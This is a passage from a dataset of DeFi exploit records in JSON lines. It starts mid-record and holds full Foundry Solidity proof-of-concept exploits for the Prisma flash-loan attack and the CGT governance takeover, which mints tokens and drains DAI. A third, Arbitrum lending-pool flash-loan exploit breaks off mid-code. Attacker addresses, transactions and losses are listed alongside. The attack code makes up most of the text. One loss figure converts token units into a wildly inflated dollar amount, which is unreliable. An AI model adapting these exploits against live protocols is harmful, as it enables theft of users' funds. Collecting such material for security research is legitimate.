"https://arbiscan.io/tx/0x57e555328b7def90e1fc2a0f7aa6df8d601a8f15803800a5aaf0a20382f21fbd", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$8.00M", "content_richness_score": 10, "quality_estimate": "high", "title": "Woofi Exploit (2024-03)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.19;\n\nimport {Test, console2} from \"forge-std/Test.sol\";\n\n// @KeyInfo - Total Lost: ~$11M\n// Attacker: 0x7e39e3b3ff7adef2613d5cc49558eab74b9a4202\n// Attack Contract: 0xd996073019c74b2fb94ead236e32032405bc027c\n// Vulnerable Contract: 0xcc7218100da61441905e0c327749972e3cbee9ee\n// Attack Tx: https://etherscan.io/tx/0x00c503b595946bccaea3d58025b5f9b3726177bbdc9674e634244135282116c7\n\n// @Analyses\n// https://twitter.com/EXVULSEC/status/1773371049951797485\n// https://twitter.com/PrismaFi/status/1773371030129524957\n\n/////////////////////////////////////// Interfaces ///////////////////////////////////////\n\ninterface IERC20 {\n event Approval(address indexed owner, address indexed spender, uint256 value);\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n function name() external view returns (string memory);\n function symbol() external view returns (string memory);\n function decimals() external view returns (uint8);\n function totalSupply() external view returns (uint256);\n function balanceOf(\n address owner\n ) external view returns (uint256);\n function allowance(address owner, address spender) external view returns (uint256);\n\n function approve(address spender, uint256 value) external returns (bool);\n function transfer(address to, uint256 value) external returns (bool);\n function transferFrom(address from, address to, uint256 value) external returns (bool);\n}\n\ninterface IMKUSDLoan {\n function flashLoan(\n IERC3156FlashBorrower receiver,\n address token,\n uint256 amount,\n bytes calldata data\n ) external returns (bool);\n}\n\ninterface IERC3156FlashBorrower {\n function onFlashLoan(\n address initiator,\n address token,\n uint256 amount,\n uint256 fee,\n bytes calldata data\n ) external returns (bytes32);\n}\n\ninterface IBorrowerOperations {\n function setDelegateApproval(address _delegate, bool _isApproved) external;\n\n function openTrove(\n address troveManager,\n address account,\n uint256 _maxFeePercentage,\n uint256 _collateralAmount,\n uint256 _debtAmount,\n address _upperHint,\n address _lowerHint\n ) external;\n\n function closeTrove(address troveManager, address account) external;\n}\n\ninterface IPriceFeed {\n function fetchPrice(\n address _token\n ) external returns (uint256);\n}\n\ninterface IBalancerVault {\n function flashLoan(\n address recipient,\n address[] memory tokens,\n uint256[] memory amounts,\n bytes memory userData\n ) external;\n}\n\ncontract PrismaExploit is Test {\n IBalancerVault public vault;\n IPriceFeed public priceFeed;\n\n address public immutable wstETH = 0x7f39C581F595B53c5cb19bD0b3f8dA6c935E2Ca0;\n address public immutable mkUSD = 0x4591DBfF62656E7859Afe5e45f6f47D3669fBB28;\n address public immutable MigrateTroveZap = 0xcC7218100da61441905e0c327749972e3CBee9EE;\n address public immutable BorrowerOperations = 0x72c590349535AD52e6953744cb2A36B409542719;\n address public immutable TroveManager = 0x1CC79f3F47BfC060b6F761FcD1afC6D399a968B6;\n address public immutable upperHint = 0xE87C6f39881D5bF51Cf46d3Dc7E1c1731C2f790A;\n address public immutable lowerHint = 0x89Ee26FCDFF6B109F81ABC6876600eC427F7907F;\n\n bytes32 private constant attackTx = hex\"00c503b595946bccaea3d58025b5f9b3726177bbdc9674e634244135282116c7\";\n\n function setUp() public {\n // set up the fork\n vm.createSelectFork(\"mainnet\", attackTx);\n\n // chainlink price feed and balancer vault\n priceFeed = IPriceFeed(0xC105CeAcAeD23cad3E9607666FEF0b773BC86aac);\n vault = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);\n }\n\n /////////////////////////////////////// Interfaces ///////////////////////////////////////\n\n function test_exploit() public {\n uint256 price = priceFeed.fetchPrice(wstETH);\n console2.log(\"Price Feed Price: \", price);\n\n // start with ~1800 mkUSD\n deal(address(mkUSD), address(this), 1_800_000_022_022_732_637);\n\n console2.log(\"Attacker start with ~1800 mkUSD: \", IERC20(mkUSD).balanceOf(address(this)));\n console2.log(\"start with wstETH balance before attack : \", IERC20(wstETH).balanceOf(address(this)));\n\n // get mkUSD loan\n\n // address account,\n // address troveManagerFrom,\n // address troveManagerTo,\n // uint256 maxFeePercentage,\n // uint256 coll,\n // address upperHint,\n // address lowerHint\n\n // data\n // bytes memory data = hex\"00000000000000000000000056a201b872b50bbdee0021ed4d1bb36359d291ed0000000000000000000000001cc79f3f47bfc060b6f761fcd1afc6d399a968b60000000000000000000000001cc79f3f47bfc060b6f761fcd1afc6d399a968b60000000000000000000000000000000000000000000000000011c3794b4c52ff0000000000000000000000000000000000000000000000191bf9b8cefc50317e000000000000000000000000e87c6f39881d5bf51cf46d3dc7e1c1731c2f790a00000000000000000000000089ee26fcdff6b109f81abc6876600ec427f7907f\";\n\n uint256 amount = 1_442_100_643_475_620_087_665_721;\n\n address account = 0x56A201b872B50bBdEe0021ed4D1bb36359D291ED;\n address troveManagerFrom = address(TroveManager);\n address troveManagerTo = address(TroveManager);\n uint256 maxFeePercentage = 5_000_000_325_833_471;\n uint256 coll = 463_184_447_350_099_685_758;\n\n bytes memory data = abi.encode(\n account, troveManagerFrom, troveManagerTo, maxFeePercentage, coll, address(upperHint), address(lowerHint)\n );\n\n IMKUSDLoan(mkUSD).flashLoan(IERC3156FlashBorrower(address(MigrateTroveZap)), address(mkUSD), amount, data);\n\n address[] memory tokens = new address[](1);\n tokens[0] = address(wstETH);\n\n uint256[] memory amounts = new uint256[](1);\n amounts[0] = 1_000_000_000_000_000_000;\n\n uint256[] memory feeAmounts = new uint256[](1);\n feeAmounts[0] = 0;\n\n // get balancer wstETH loan\n vault.flashLoan(address(this), tokens, amounts, abi.encode(\"\"));\n }\n\n function receiveFlashLoan(\n IERC20[] memory, /* tokens */\n uint256[] memory, /* amounts */\n uint256[] memory, /* feeAmounts */\n bytes memory /* userData */\n ) external {\n // approve borowOperations to spend wstETH with max amount\n IERC20(wstETH).approve(address(BorrowerOperations), type(uint256).max);\n\n // set delegate approval\n IBorrowerOperations(BorrowerOperations).setDelegateApproval(address(MigrateTroveZap), true);\n\n // // open trove\n IBorrowerOperations(BorrowerOperations).openTrove(\n address(TroveManager),\n address(this),\n 5_000_000_325_833_471,\n 1_000_000_000_000_000_000,\n 2_000_000_000_000_000_000_000,\n address(upperHint),\n address(lowerHint)\n );\n\n // // another mkUSD loan\n // // // data\n // bytes memory data = hex\"000000000000000000000000d996073019c74b2fb94ead236e32032405bc027c0000000000000000000000001cc79f3f47bfc060b6f761fcd1afc6d399a968b60000000000000000000000001cc79f3f47bfc060b6f761fcd1afc6d399a968b60000000000000000000000000000000000000000000000000011c3794b4c52ff0000000000000000000000000000000000000000000000458a6330674daf1a93000000000000000000000000e87c6f39881d5bf51cf46d3dc7e1c1731c2f790a00000000000000000000000089ee26fcdff6b109f81abc6876600ec427f7907f\";\n\n uint256 amount = 2_000_000_000_000_000_000_000;\n\n address account = address(this);\n address troveManagerFrom = address(TroveManager);\n address troveManagerTo = address(TroveManager);\n uint256 maxFeePercentage = 5_000_000_325_833_471;\n uint256 coll = 1_282_797_208_306_130_557_587;\n\n bytes memory data = abi.encode(\n account, troveManagerFrom, troveManagerTo, maxFeePercentage, coll, address(upperHint), address(lowerHint)\n );\n\n IMKUSDLoan(mkUSD).flashLoan(IERC3156FlashBorrower(address(MigrateTroveZap)), address(mkUSD), amount, data);\n\n // cuurent contract mkUSD balance\n // console2.log(\"mkUSD balance before closing the trove: \", IERC20(mkUSD).balanceOf(address(this)));\n\n // close trove\n IBorrowerOperations(BorrowerOperations).closeTrove(address(TroveManager), address(this));\n\n uint256 returnAmount = 1_000_000_000_000_000_000;\n // transfer the wstETH loan back to the vault\n IERC20(wstETH).transfer(address(vault), returnAmount);\n\n // current contract wstETH balance\n console2.log(\"wstETH balance ~1281.79 ETH after attack: \", IERC20(wstETH).balanceOf(address(this)));\n }\n}\n", "type": "exploit_poc", "protocol": "Prisma", "date": "2024-03", "file_name": "Prisma_exp.sol", "attack_vector": "flash_loan", "content_hash": "b538ed29b4db99c5", "collected_at": "2026-01-07T10:59:16.523599", "_source": "postmortems", "chain": "ethereum", "block_number": null, "total_lost_raw": "~$11M", "total_lost_usd": 11000000.0, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": "https://etherscan.io/tx/0x00c503b595946bccaea3d58025b5f9b3726177bbdc9674e634244135282116c7", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": false, "has_attack_vector": true, "severity": "critical", "severity_raw": "~$11M", "category": "flash-loan", "exploit_code": "function test_exploit() public {\n uint256 price = priceFeed.fetchPrice(wstETH);\n console2.log(\"Price Feed Price: \", price);\n\n // start with ~1800 mkUSD\n deal(address(mkUSD), address(this), 1_800_000_022_022_732_637);\n\n console2.log(\"Attacker start with ~1800 mkUSD: \", IERC20(mkUSD).balanceOf(address(this)));\n console2.log(\"start with wstETH balance before attack : \", IERC20(wstETH).balanceOf(address(this)));\n\n // get mkUSD loan\n\n // address account,\n // address troveManagerFrom,\n // address troveManagerTo,\n // uint256 maxFeePercentage,\n // uint256 coll,\n // address upperHint,\n // address lowerHint\n\n // data\n // bytes memory data = hex\"00000000000000000000000056a201b872b50bbdee0021ed4d1bb36359d291ed0000000000000000000000001cc79f3f47bfc060b6f761fcd1afc6d399a968b60000000000000000000000001cc79f3f47bfc060b6f761fcd1afc6d399a968b60000000000000000000000000000000000000000000000000011c3794b4c52ff0000000000000000000000000000000000000000000000191bf9b8cefc50317e000000000000000000000000e87c6f39881d5bf51cf46d3dc7e1c1731c2f790a00000000000000000000000089ee26fcdff6b109f81abc6876600ec427f7907f\";\n\n uint256 amount = 1_442_100_643_475_620_087_665_721;\n\n address account = 0x56A201b872B50bBdEe0021ed4D1bb36359D291ED;\n address troveManagerFrom = address(TroveManager);\n address troveManagerTo = address(TroveManager);\n uint256 maxFeePercentage = 5_000_000_325_833_471;\n uint256 coll = 463_184_447_350_099_685_758;\n\n bytes memory data = abi.encode(\n account, troveManagerFrom, troveManagerTo, maxFeePercentage, coll, address(upperHint), address(lowerHint)\n );\n\n IMKUSDLoan(mkUSD).flashLoan(IERC3156FlashBorrower(address(MigrateTroveZap)), address(mkUSD), amount, data);\n\n address[] memory tokens = new address[](1);\n tokens[0] = address(wstETH);\n\n uint256[] memory amounts = new uint256[](1);\n amounts[0] = 1_000_000_000_000_000_000;\n\n uint256[] memory feeAmounts = new uint256[](1);\n feeAmounts[0] = 0;\n\n // get balancer wstETH loan\n vault.flashLoan(address(this), tokens, amounts, abi.encode(\"\"));\n }", "has_exploit_code": true, "keyinfo_total_lost": "~$11M", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "https://etherscan.io/tx/0x00c503b595946bccaea3d58025b5f9b3726177bbdc9674e634244135282116c7", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$11.00M", "content_richness_score": 9, "quality_estimate": "high", "title": "Prisma Exploit (2024-03)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo -- Total Lost : ~998B(cgt token)\n// TX : https://app.blocksec.com/explorer/tx/eth/0x4ff4028b03c3df468197358b99f5160e5709e7fce3884cc8ce818856d058e106\n// Attacker : https://etherscan.io/address/0xdaaa6294c47b5743bdafe0613d1926ee27ae8cf5\n// Attack Contract : https://etherscan.io/address/0x1e791527aea32cddbd7ceb7f04612db536816545\n// Post Report : https://investcurio.medium.com/curiodaos-recovery-plan-1255427f35de\n\ninterface IMERC20 is IERC20 {\n function mint(address guy, uint256 wad) external;\n function burn(address guy, uint256 wad) external;\n function start() external;\n function stop() external;\n}\n\ninterface IDSChief {\n function lock(\n uint256 wad\n ) external;\n function vote(\n address[] memory yays\n ) external returns (bytes32);\n function lift(\n address whom\n ) external;\n function free(\n uint256 wad\n ) external;\n}\n\ninterface IDSPause {\n function plot(address usr, bytes32 tag, bytes memory fax, uint256 eta) external;\n function exec(address usr, bytes32 tag, bytes memory fax, uint256 eta) external returns (bytes memory out);\n}\n\ninterface IVat {\n function suck(address u, address v, uint256 rad) external;\n function hope(\n address usr\n ) external;\n}\n\ninterface IJoin {\n function exit(address usr, uint256 wad) external;\n}\n\ninterface IRouterV3s {\n struct ExactInputParams {\n bytes path;\n address recipient;\n uint256 deadline;\n uint256 amountIn;\n uint256 amountOutMinimum;\n }\n\n function swapExactTokensForTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external returns (uint256[] memory amounts);\n function exactInput(\n ExactInputParams calldata params\n ) external payable returns (uint256 amountOut);\n}\n\ninterface IOmniBridge {\n function relayTokens(address token, address _receiver, uint256 _value) external;\n\n function dailyLimit(\n address _token\n ) external view returns (uint256);\n function totalSpentPerDay(address _token, uint256 _day) external view returns (uint256);\n function getCurrentDay() external view returns (uint256);\n}\n\ninterface ISkaleB {\n function depositERC20Direct(\n string calldata schainName,\n address erc20OnMainnet,\n uint256 amount,\n address receiver\n ) external;\n}\n\ninterface IParachainB {\n function lock(bytes32 to, IERC20 token, uint256 amount) external;\n}\n\ninterface IBobaB {\n function depositERC20To(\n address _l1Token,\n address _l2Token,\n address _to,\n uint256 _amount,\n uint32 _l2Gas,\n bytes calldata _data\n ) external;\n}\n\ncontract ContractTest is Test {\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n Uni_Pair_V2 Pair = Uni_Pair_V2(0x85705829c2f71EE3c40A7C28f6903e7c797c9433);\n IDSChief chief = IDSChief(0x579A3244f38112b8AAbefcE0227555C9b6e7aaF0);\n IDSPause pause = IDSPause(0x1e692eF9cF786Ed4534d5Ca11EdBa7709602c69f);\n IERC20 csc = IERC20(0xfDcdfA378818AC358739621ddFa8582E6ac1aDcB);\n IERC20 ixs = IERC20(0x73d7c860998CA3c01Ce8c808F5577d94d545d1b4);\n IERC20 oinch = IERC20(0x111111111117dC0aa78b770fA6A738034120C302);\n IERC20 uni = IERC20(0x1f9840a85d5aF5bf1D1762F925BDADdC4201F984);\n IERC20 link = IERC20(0x514910771AF9Ca656af840dff83E8264EcF986CA);\n IERC20 xchf = IERC20(0xB4272071eCAdd69d933AdcD19cA99fe80664fc08);\n IERC20 skl = IERC20(0x00c83aeCC790e8a4453e5dD3B0B4b3680501a7A7);\n IERC20 weth = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);\n IERC20 dai = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F);\n IERC20 cgt = IERC20(0xF56b164efd3CFc02BA739b719B6526A6FA1cA32a);\n IRouterV3s router = IRouterV3s(0xDc6844cED486Ec04803f02F2Ee40BBDBEf615f21);\n IRouterV3s routerV3 = IRouterV3s(0xE592427A0AEce92De3Edee1F18E0157C05861564);\n IOmniBridge omniBridge = IOmniBridge(0x69c707d975e8d883920003CC357E556a4732CD03);\n ISkaleB skaleB = ISkaleB(0x8fB1A35bB6fB9c47Fb5065BE5062cB8dC1687669);\n IParachainB parachainB = IParachainB(0x9b8A09b3f538666479a66888441E15DDE8d13412);\n IBobaB bobaB = IBobaB(0xdc1664458d2f0B6090bEa60A8793A4E66c2F1c00);\n Spell spell;\n\n function setUp() external {\n cheats.createSelectFork(\"mainnet\", 19_498_910);\n deal(address(cgt), address(this), 80 ether);\n }\n\n function testExploit() external {\n attack();\n emit log_named_decimal_uint(\"[End] Attacker CGT after exploit\", cgt.balanceOf(address(this)), 18);\n emit log_named_decimal_uint(\"[End] Attacker dai after exploit\", dai.balanceOf(address(this)), 18);\n emit log_named_decimal_uint(\"[End] Attacker weth after exploit\", weth.balanceOf(address(this)), 18);\n }\n\n function attack() public {\n cgt.approve(address(chief), type(uint256).max);\n chief.lock(20 ether);\n address[] memory yays = new address[](1);\n yays[0] = address(this);\n chief.vote(yays);\n chief.lift(address(this));\n spell = new Spell();\n address spelladdr = address(spell);\n bytes32 tag;\n assembly {\n tag := extcodehash(spelladdr)\n }\n uint256 delay = block.timestamp + 0;\n bytes memory sig = abi.encodeWithSignature(\"act(address,address)\", address(this), address(cgt));\n pause.plot(address(spell), tag, sig, delay);\n pause.exec(address(spell), tag, sig, delay);\n _swap0();\n _swap1();\n }\n\n function _swap0() internal {\n uint256 inAmount = 10 ** 8 * 1 ether;\n address[] memory path = new address[](2);\n path[0] = address(cgt);\n path[1] = address(weth);\n\n cgt.approve(address(router), inAmount);\n router.swapExactTokensForTokens(inAmount, 0, path, address(this), block.timestamp);\n\n path[1] = address(dai);\n cgt.approve(address(router), inAmount);\n router.swapExactTokensForTokens(inAmount, 0, path, address(this), block.timestamp);\n\n path[1] = address(xchf);\n cgt.approve(address(router), inAmount);\n router.swapExactTokensForTokens(inAmount, 0, path, address(this), block.timestamp);\n\n path[1] = address(oinch);\n cgt.approve(address(router), inAmount);\n router.swapExactTokensForTokens(inAmount, 0, path, address(this), block.timestamp);\n\n path[1] = address(uni);\n cgt.approve(address(router), inAmount);\n router.swapExactTokensForTokens(inAmount, 0, path, address(this), block.timestamp);\n\n path[1] = address(link);\n cgt.approve(address(router), inAmount);\n router.swapExactTokensForTokens(inAmount, 0, path, address(this), block.timestamp);\n\n path[1] = address(skl);\n cgt.approve(address(router), inAmount);\n router.swapExactTokensForTokens(inAmount, 0, path, address(this), block.timestamp);\n\n path[0] = address(csc);\n path[1] = address(weth);\n csc.approve(address(router), inAmount);\n router.swapExactTokensForTokens(inAmount, 0, path, address(this), block.timestamp);\n\n address[] memory path3 = new address[](3);\n path3[0] = address(cgt);\n path3[1] = address(0x46683747B55C4A0fF783B1A502cE682eB819eb75);\n path3[2] = address(ixs);\n\n cgt.approve(address(router), inAmount);\n router.swapExactTokensForTokens(inAmount, 0, path3, address(this), block.timestamp);\n\n cgt.approve(address(routerV3), cgt.balanceOf(address(this)));\n bytes memory pathv3 = abi.encodePacked(cgt, uint24(10_000), weth);\n IRouterV3s.ExactInputParams memory params = IRouterV3s.ExactInputParams({\n path: pathv3,\n recipient: address(this),\n deadline: block.timestamp,\n amountIn: inAmount,\n amountOutMinimum: 0\n });\n\n routerV3.exactInput(params);\n }\n\n function _swap1() internal {\n xchf.approve(address(routerV3), xchf.balanceOf(address(this)));\n bytes memory path = abi.encodePacked(xchf, uint24(3000), weth, uint24(3000), dai);\n IRouterV3s.ExactInputParams memory params = IRouterV3s.ExactInputParams({\n path: path,\n recipient: address(this),\n deadline: block.timestamp,\n amountIn: xchf.balanceOf(address(this)),\n amountOutMinimum: 0\n });\n\n routerV3.exactInput(params);\n\n oinch.approve(address(routerV3), oinch.balanceOf(address(this)));\n path = abi.encodePacked(oinch, uint24(3000), weth, uint24(3000), dai);\n params.path = path;\n params.amountIn = oinch.balanceOf(address(this));\n\n routerV3.exactInput(params);\n\n uni.approve(address(routerV3), uni.balanceOf(address(this)));\n path = abi.encodePacked(uni, uint24(3000), weth, uint24(3000), dai);\n params.path = path;\n params.amountIn = uni.balanceOf(address(this));\n\n routerV3.exactInput(params);\n\n link.approve(address(routerV3), link.balanceOf(address(this)));\n path = abi.encodePacked(link, uint24(3000), weth, uint24(3000), dai);\n params.path = path;\n params.amountIn = link.balanceOf(address(this));\n\n routerV3.exactInput(params);\n }\n\n fallback() external payable {}\n}\n\ncontract Spell {\n function act(address user, IMERC20 cgt) public {\n IVat vat = IVat(0x8B2B0c101adB9C3654B226A3273e256a74688E57);\n IJoin daiJoin = IJoin(0xE35Fc6305984a6811BD832B0d7A2E6694e37dfaF);\n\n vat.suck(address(this), address(this), 10 ** 9 * 10 ** 18 * 10 ** 27);\n\n vat.hope(address(daiJoin));\n daiJoin.exit(user, 10 ** 9 * 1 ether);\n\n cgt.mint(user, 10 ** 12 * 1 ether);\n }\n}\n", "type": "exploit_poc", "protocol": "CGT", "date": "2024-03", "file_name": "CGT_exp.sol", "attack_vector": null, "content_hash": "bb92817f75ddfcf5", "collected_at": "2026-01-07T10:59:16.523688", "_source": "postmortems", "chain": "ethereum", "block_number": 19498910, "total_lost_raw": "~998B(cgt token)", "total_lost_usd": 998000000000.0, "attacker_address": "https://etherscan.io/address/0xdaaa6294c47b5743bdafe0613d1926ee27ae8cf5", "attack_contract": "https://etherscan.io/address/0x1e791527aea32cddbd7ceb7f04612db536816545", "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": false, "has_attack_vector": false, "severity": "critical", "severity_raw": "~998B(cgt token)", "category": "unknown", "exploit_code": "function attack() public {\n cgt.approve(address(chief), type(uint256).max);\n chief.lock(20 ether);\n address[] memory yays = new address[](1);\n yays[0] = address(this);\n chief.vote(yays);\n chief.lift(address(this));\n spell = new Spell();\n address spelladdr = address(spell);\n bytes32 tag;\n assembly {\n tag := extcodehash(spelladdr)\n }\n uint256 delay = block.timestamp + 0;\n bytes memory sig = abi.encodeWithSignature(\"act(address,address)\", address(this), address(cgt));\n pause.plot(address(spell), tag, sig, delay);\n pause.exec(address(spell), tag, sig, delay);\n _swap0();\n _swap1();\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "https://etherscan.io/address/0xdaaa6294c47b5743bdafe0613d1926ee27ae8cf5", "keyinfo_attack_contract": "https://etherscan.io/address/0x1e791527aea32cddbd7ceb7f04612db536816545", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$998000.00M", "content_richness_score": 7, "quality_estimate": "medium", "title": "CGT Exploit (2024-03)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~340K\n// Attacker : https://arbiscan.io/address/0x851aa754c39bf23cdaac2025367514dfd7530418\n// Attack Contract 1: https://arbiscan.io/address/0x3e52c217a902002ca296fe6769c22fedaee9fda1\n// Attack Contract 2: https://arbiscan.io/address/0x42fae47296b26385c4a5b62c46e4305a27c88988\n// Vulnerable Contract : https://arbiscan.io/address/0x7746872c6892bcfb4254390283719f2bd2d4da76#code\n// Attack Tx : https://app.blocksec.com/explorer/tx/arbitrum/0xcb1a2f5eeb1a767ea5ccbc3665351fadc1af135d12a38c504f8f6eb997e9e603\n\n// @Analysis\n \n// https://twitter.com/Phalcon_xyz/status/1773546399713345965\n// @Post Mortem\n// https://hackmd.io/@LavaSecurity/03282024\n\ninterface ILendingPoolProxy {\n function borrow(\n address asset,\n uint256 amount,\n uint256 interestRateMode,\n uint16 referralCode,\n address onBehalfOf\n ) external;\n\n function deposit(address asset, uint256 amount, address onBehalfOf, uint16 referralCode) external;\n}\n\ninterface IUniV3Wrapper {\n function approve(address spender, uint256 value) external returns (bool);\n\n function balanceOf(\n address account\n ) external view returns (uint256);\n\n function getAssets() external view returns (uint256 amount0, uint256 amount1);\n\n function deposit(\n uint256 startingAmount0,\n uint256 startingAmount1,\n uint256 minAmount0Added,\n uint256 minAmount1Added\n ) external returns (uint128 liquidityMinted, uint256 sharesMinted);\n\n function transfer(address to, uint256 value) external returns (bool);\n\n function withdraw(\n uint256 shares\n ) external returns (uint128 liquidityRemoved, uint256 amount0, uint256 amount1);\n}\n\ncontract ContractTest is Test {\n IERC20 private constant USDC = IERC20(0xaf88d065e77c8cC2239327C5EDb3A432268e5831);\n IERC20 private constant USDCe = IERC20(0xFF970A61A04b1cA14834A43f5dE4533eBDDB5CC8);\n IUSDT private constant USDT = IUSDT(0xFd086bC7CD5C481DCC9C85ebE478A1C0b69FCbb9);\n IERC20 private constant WETH = IERC20(0x82aF49447D8a07e3bd95BD0d56f35241523fBab1);\n IERC20 private constant wstETH = IERC20(0x5979D7b546E38E414F7E9822514be443A4800529);\n IERC20 private constant ausdcUsdcLP = IERC20(0x1e482f0606152890F84dD59617e13EC06581B45a);\n IBalancerVault private constant BalancerVault = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);\n IUniV3Wrapper private constant USDC_USDC_LP = IUniV3Wrapper(0x10bdA01aC4E644fD84a04Dab01E15A5eDcEE46dD);\n Uni_Pair_V3 private constant WETH_USDC = Uni_Pair_V3(0xC6962004f452bE9203591991D15f6b388e09E8D0);\n Uni_Pair_V3 private constant WETH_USDCe = Uni_Pair_V3(0xC31E54c7a869B9FcBEcc14363CF510d1c41fa443);\n Uni_Pair_V3 private constant USDC_USDCe = Uni_Pair_V3(0x8e295789c9465487074a65b1ae9Ce0351172393f);\n IAaveFlashloan private constant AaveFlashloan = IAaveFlashloan(0x794a61358D6845594F94dc1DB02A252b5b4814aD);\n ILendingPoolProxy private constant LendingPool = ILendingPoolProxy(0x403049E886b13E42C149f15450CEB795216cddC6);\n address private constant aUSDC = 0x16Cb622CaE7Ad9fd2b0780b2026ED301414781fE;\n address private constant aUSDCe = 0x16cba9A6a9BB38e339D4250dA0Afd919c6bDBDfE;\n address private constant aUSDT = 0x8Da6Bc74B2534030cD38C996C395B914990fa684;\n address private constant aWETH = 0xec9b99C8262b72d846F0F80fCE76AF7D3c7c6AF6;\n address private constant awstETH = 0xCB1332663a39f238BCD1cc7621E3E24A50251b94;\n // Following specific values comes from original attack contract storage\n // Values have been decoded with the use of 'cast storage'\n uint256 private constant multiplier = 1e12;\n uint256 private constant divisor = 3567;\n uint256 private constant specifiedUSDCAmount = 3_940_702_470_228;\n uint256 private constant specifiedUSDCeAmount = 5_490_000_000_000;\n uint256 private constant amountOfWETHToTransfer = 35_735_259_567_507_709_558;\n uint256 private constant valueForCalcDepositAmount = 6_401_169_117_048;\n uint160 private constant priceLimitForSwap1 = 79_232_123_823_359_799_118_287_999_568;\n uint160 private constant priceLimitForSwap2 = 79_188_560_314_459_151_373_725_315_960;\n Helper private helper;\n Borrower private borrower;\n\n function setUp() public {\n vm.createSelectFork(\"arbitrum\", 195_240_642);\n vm.label(address(USDC), \"USDC\");\n vm.label(address(USDCe), \"USDCe\");\n vm.label(address(USDT), \"USDT\");\n vm.label(address(WETH), \"WETH\");\n vm.label(address(BalancerVault), \"BalancerVault\");\n vm.label(address(USDC_USDC_LP), \"USDC_USDC_LP\");\n vm.label(address(WETH_USDC), \"WETH_USDC\");\n vm.label(address(WETH_USDCe), \"WETH_USDCe\");\n vm.label(address(USDC_USDCe), \"USDC_USDCe\");\n vm.label(address(AaveFlashloan), \"AaveFlashloan\");\n vm.label(address(LendingPool), \"LendingPool\");\n }\n\n function testExploit() public {\n emit log_named_decimal_uint(\n \"Exploiter USDCe balance before attack\", USDCe.balanceOf(address(this)), USDCe.decimals()\n );\n\n emit log_named_decimal_uint(\n \"Exploiter wstEth balance before attack\", wstETH.balanceOf(address(this)), wstETH.decimals()\n );\n\n emit log_named_decimal_uint(\"Exploiter USDT balance before attack\", USDT.balanceOf(address(this)), 6);\n\n emit log_named_decimal_uint(\n \"Exploiter WETH balance before attack\", WETH.balanceOf(address(this)), WETH.decimals()\n );\n\n emit log_named_decimal_uint(\n \"Exploiter USDC balance before attack\", USDC.balanceOf(address(this)), USDC.decimals()\n );\n\n uint256 amountWETH = calcWETHAmount();\n address[] memory tokens = new address[](3);\n tokens[0] = address(WETH);\n tokens[1] = address(USDC);\n tokens[2] = address(USDCe);\n\n uint256[] memory amounts = new uint256[](3);\n amounts[0] = amountWETH;\n amounts[1] = USDC.balanceOf(address(BalancerVault));\n amounts[2] = USDCe.balanceOf(address(BalancerVault));\n\n BalancerVault.flashLoan(address(this), tokens, amounts, \"\");\n\n emit log_named_decimal_uint(\n \"Exploiter USDCe balance after attack\", USDCe.balanceOf(address(this)), USDCe.decimals()\n );\n\n emit log_named_decimal_uint(\n \"Exploiter wstEth balance after attack\", wstETH.balanceOf(address(this)), wstETH.decimals()\n );\n\n emit log_named_decimal_uint(\"Exploiter USDT balance after attack\", USDT.balanceOf(address(this)), 6);\n\n emit log_named_decimal_uint(\n \"Exploiter WETH balance after attack\", WETH.balanceOf(address(this)), WETH.decimals()\n );\n\n emit log_named_decimal_uint(\n \"Exploiter USDC balance after attack\", USDC.balanceOf(address(this)), USDC.decimals()\n );\n }\n\n function receiveFlashLoan(\n address[] calldata tokens,\n uint256[] calldata amounts,\n uint256[] calldata feeAmounts,\n bytes calldata userData\n ) external {\n // amount1=1 because Pair USDC balance is greater than specific value from attack contract (storage 19)\n WETH_USDC.flash(address(this), 0, 1, abi.encode(uint256(1), uint8(1)));\n WETH.transfer(address(BalancerVault), amounts[0]);\n USDC.transfer(address(BalancerVault), amounts[1]);\n USDCe.transfer(address(BalancerVault), amounts[2]);\n }\n\n function uniswapV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {\n (uint256 borrowedAmount, uint8 flashId) = abi.decode(data, (uint256, uint8));\n if (flashId == 1) {\n // Flashloan USDC\n uint256 amountUSDC;\n if (USDC.balanceOf(address(this)) < specifiedUSDCAmount) {\n amountUSDC = specifiedUSDCAmount - USDC.balanceOf(address(this));\n } else {\n amountUSDC = 1;\n }\n address[] memory assets = new address[](2);\n assets[0] = address(USDC);\n assets[1] = address(USDCe);\n uint256[] memory amounts = new uint256[](2);\n amounts[0] = amountUSDC;\n amounts[1] = 1;\n uint256[] memory interestRateModes = new uint256[](2);\n interestRateModes[0] = 0;\n interestRateModes[1] = 0;\n\n AaveFlashloan.flashLoan(address(this), assets, amounts, interestRateModes, address(this), \"\", 0);\n USDC.transfer(address(WETH_USDC), 2);\n } else if 